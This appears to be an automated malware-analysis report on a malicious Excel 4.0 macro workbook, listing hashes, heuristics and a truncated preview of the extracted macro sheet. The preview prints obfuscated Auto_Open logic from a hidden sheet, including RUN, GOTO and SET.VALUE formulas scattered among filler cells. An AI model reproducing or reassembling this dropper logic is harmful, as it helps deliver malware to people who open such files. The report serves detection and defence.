Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 806e7bbb7df2d2a3…

MALICIOUS

Office (OLE)

162.0 KB Created: 2020-05-07 10:46:37 Authoring application: Microsoft Excel First seen: 2020-08-10
MD5: 56abeceabdb53e397a043a29529ec886 SHA-1: 99fb75a642bf549a2f4f3139a06855295a33afa6 SHA-256: 806e7bbb7df2d2a38afaa4d84960b2ffe6a4e9f48af3030014e8a221887a8b23
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook. Heuristics indicate the presence of an Auto_Open macro sheet that utilizes dangerous functions, specifically 'RUN' (function code 44), which is commonly used to execute arbitrary code. This suggests the macro is designed to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 155287 bytes
SHA-256: 4a5ec9f4b40c81e25873fc2fbd7f7af645d243224d434ccb5f5addcd7ff8801c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     38 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  kOa2lZFlRMQC4hnITNrynw3q1bVlO
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!JB15700 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,BV36,"",-5.07142857142857117481
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,HW111,"",-37.40000000000000568434
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,JK134,"",0.26063829787234044089
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,CJ151,"",-296.60000000000002273737
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,GY200,"",189.50000000000000000000
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,DU262,"",-0.11942554799697656376
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,BU271,"",1.12293577981651382380
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,JF330,"",-9.50000000000000000000
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,FO347,"",949.75000000000000000000
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,FF353,"",-3.80434782608695654105
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,GH370,"",975.75000000000000000000
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,GI420,"",6.18421052631578938019
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,J463,"",949.75000000000000000000
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,GT478,"",745.50000000000000000000
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,DS558,"",0.36200716845878133654
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,DH614,"",164.00000000000000000000
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,L701,"",29.00000000000000000000
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,EZ742,"",-0.40000030517578122335
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,Z848,"",-13.78125000000000000000
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,CD870,"",-416.00000000000000000000
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,CX989,RUN(EA23790),""
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,JQ1022,"",544.00000000000000000000
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,GV1081,"",-0.22535211267605634311
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,GV1091,"",-1.26865671641791055713
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,BR1108,"",4.13186713186813214804
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,FV1112,"",-9.18750000000000000000
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,JS1202,"",-0.38285714285714284033
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,DM1207,"",4.82051282051282026231
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,R1291,"",0.33496732026143788419
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,GO1328,"",0.38403041825095057815
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,FV1339,"",0.54421768707482998106
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,EJ1387,"",-0.09826152683295540091
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,HO1387,GOTO(DO9468),""
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,HW1423,"",0.11702127659574468321
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,DZ1483,"",0.29015544041450774815
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,IP1574,"",-0.06490872210953346766
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,JM1629,"",258.00000000000000000000
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,CR1649,"",-769.50000000000000000000
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,GE1671,"SET.VALUE(JQ48360,DAY(NOW())*GET.CELL(24,IF3766)--256.00000000000000000000)",""
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,GE1672,GOTO(GU55201),""
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,CP1784,"",752.50000000000000000000
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,JP1792,"",-10.84426229508196648510
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,K1885,"",209.37500000000000000000
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,CQ1913,"",1.31972789115646249591
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,DA1920,"",296.00000000000000000000
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,P1923,"",0.62091503267973857660
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,GE2009,"",2.44799999999999995381
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,DQ2020,"",-164.00000000000000000000
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,HE2043,"",0.66666666666666662966
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,JK2049,"",-2.13414634146341475329
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,JQ2113,"",0.16487455197132616647
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,DD2114,"",0.69444444444444441977
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,DN2155,"",-0.79518072289156627175
'  kOa2lZFlRMQC4hnITNrynw3q1bVlO,
... (truncated)

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